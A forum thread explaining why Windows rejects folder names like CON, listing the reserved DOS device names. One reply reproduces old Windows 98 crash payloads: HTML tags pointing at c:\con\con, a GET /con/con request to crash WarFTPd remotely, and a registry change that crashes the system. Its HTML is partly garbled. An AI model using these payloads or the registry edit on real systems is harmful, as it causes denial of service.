Nobody can create a folder anywhere named as “con” ![]()
This is something pretty cool…and unbelievable… At Microsoft the
whole Team, including Bill Gates, couldn’t answer why this happened!
Try it out yourself…
Re: Microsoft Bug
"CON" like "COMn", "LPTn", "NUL", etc., is a system reserved word and it stands for CONsole. That is the reason, the system does not allow a file with this name.
This DOS command "COPY CON Message.TXT" will redirect all the keyboard input to the Message.TXT file. Ctrl-Z with Enter key will write the file to disk.
Check with Bill Gates again. He might be suffering from amnesia.
Re: Microsoft Bug
more to it
Check this also,
com1, com2, com3, com4, com5, com6, com7, com8, com9, lpt1,
lpt2, lpt3, lpt4, lpt5, lpt6, lpt7, lpt8, lpt9, nul, and prn
Windows doesn't allow "reserved words" as
folder names, the "reserved words" term including DOS device names....
Re: Microsoft Bug
hmmm.. pretty cool
Re: Microsoft Bug
It is meant to be like this from Microsoft. Reason is, to avoid conflict; you cannot create a folder with the same name as any of the system devices name, i.e.
CON, PRN, LPT1, LPT2...LPT9, COM1, COM2...COM9
NUL, AUX, CON, COM1-4, LPT1-3, and PRN are reserved words used for DOS Devices.
These are specified in IO.SYS and date back from the early MS Dos days. Here is a brief list:
CLOCK$ - System clock
CON - Console; combination of keyboard and screen to handle input and output
AUX or COM1 - First serial communication port
COMn - Second, Third, ... communication port
LPT1 or PRN - First parallel port
NUL - Dummy port, or the "null device" which is known under Linux as /dev/null.
CONFIG$ - Unknown
Besides,
- Embedding image tags in HTML pages, with an image path referring to [drive]:\con\con or [drive]: ul ul. This will crash Windows 98 when viewing this HTML (tested on Microsoft Outlook and Eudora Pro 4.2 - Netscape Messenger to be invulnerable to this exploit).
Example:
HTML>
BODY>
A HREF="c:\con\con">crashing IE
!-- or nul
ul, clock$\clock$ -->
!-- or aux\aux, config$\config$ -->
/BODY>
/HTML>
<!-- or nul
ul, clock$\clock$ -->
<!-- or aux\aux, config$\config$ -->
Using GET /con/con or GET /nul/nul under WarFTPd on the root directory will also crash the operating system. Other FTP daemons have not been tested. This allows the remote exploitation of this vulnerability.
Modifying [HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\ open] to the value:
c:\con\con "%1" %* or c:
ul
ul "%1" %* will crash the system.Creating a HTML page with IMG tags or HREF tags referring to the local "nul" path or the "con" path will crash the system when viewing the HTML file.
Example:
HTML>
BODY>
IMG SRC="c:\con\con">
!-- or nul
ul, clock$\clock$ -->
!-- or aux\aux, config$\config$ -->
/BODY>
/HTML><!-- or nul
ul, clock$\clock$ -->
<!-- or aux\aux, config$\config$ -->
Re: Microsoft Bug
thanks for info …
Re: Microsoft Bug
![]()
Re: Microsoft Bug
"Microsoft Bug": When I saw the title I thought you were referring to some product of microsoft.
Like there is Microsoft Windows, Microsoft Office ... Microsoft Bug :D
But I guess Microsoft Bug is part of every Microsoft product. Maybe its the core library ;)